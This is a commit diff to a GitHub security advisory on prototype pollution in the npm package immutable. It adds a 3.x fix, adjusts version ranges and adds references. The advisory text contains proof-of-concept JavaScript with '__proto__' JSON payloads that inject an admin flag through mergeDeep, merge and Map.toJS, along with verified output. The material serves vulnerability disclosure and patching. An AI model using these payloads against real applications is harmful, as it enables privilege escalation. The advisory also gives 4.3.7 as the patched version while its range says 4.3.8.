Skip to content

Commit 06c8c6b

Browse files
1 parent 2343ffb commit 06c8c6b

File tree

1 file changed

+34
-3
lines changed

1 file changed

+34
-3
lines changed

advisories/github-reviewed/2026/03/GHSA-wf6x-7x77-mvgw/GHSA-wf6x-7x77-mvgw.json

Lines changed: 34 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wf6x-7x77-mvgw",
4-
"modified": "2026-03-04T21:28:06Z",
4+
"modified": "2026-03-06T20:59:15Z",
55
"published": "2026-03-04T21:28:06Z",
66
"aliases": [
77
"CVE-2026-29063"
88
],
99
"summary": "Immutable is vulnerable to Prototype Pollution",
10-
"details": "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API | Notes |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)` | Same code path |\n| `merge(target, source)` | Shallow variant, same assignment logic |\n| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |\n| `Map.toObject()` | Same `toObject()` implementation |\n| `Map.mergeDeep(source)` | When source is converted to plain object |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | ❌ No fix will be provided. Please upgrade to a more recent version (v4.0.0 is four years old now !) |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) => u.admin === true;\nconst isAdminByRole = (u) => u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) => b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined ← global Object.prototype NOT polluted\n```\n\n\n## Resources\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
10+
"details": "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API | Notes |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)` | Same code path |\n| `merge(target, source)` | Shallow variant, same assignment logic |\n| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |\n| `Map.toObject()` | Same `toObject()` implementation |\n| `Map.mergeDeep(source)` | When source is converted to plain object |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) => u.admin === true;\nconst isAdminByRole = (u) => u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) => b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
1111
"severity": [
1212
{
1313
"type": "CVSS_V4",
@@ -25,7 +25,7 @@
2525
"type": "ECOSYSTEM",
2626
"events": [
2727
{
28-
"introduced": "0"
28+
"introduced": "4.0.0-rc.1"
2929
},
3030
{
3131
"fixed": "4.3.8"
@@ -52,17 +52,44 @@
5252
]
5353
}
5454
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "npm",
59+
"name": "immutable"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"fixed": "3.8.3"
70+
}
71+
]
72+
}
73+
]
5574
}
5675
],
5776
"references": [
5877
{
5978
"type": "WEB",
6079
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
6180
},
81+
{
82+
"type": "WEB",
83+
"url": "https://github.com/immutable-js/immutable-js/issues/2178"
84+
},
6285
{
6386
"type": "WEB",
6487
"url": "https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"
6588
},
89+
{
90+
"type": "WEB",
91+
"url": "https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"
92+
},
6693
{
6794
"type": "WEB",
6895
"url": "https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"
@@ -71,6 +98,10 @@
7198
"type": "PACKAGE",
7299
"url": "https://github.com/immutable-js/immutable-js"
73100
},
101+
{
102+
"type": "WEB",
103+
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"
104+
},
74105
{
75106
"type": "WEB",
76107
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"

0 commit comments

Comments
 (0)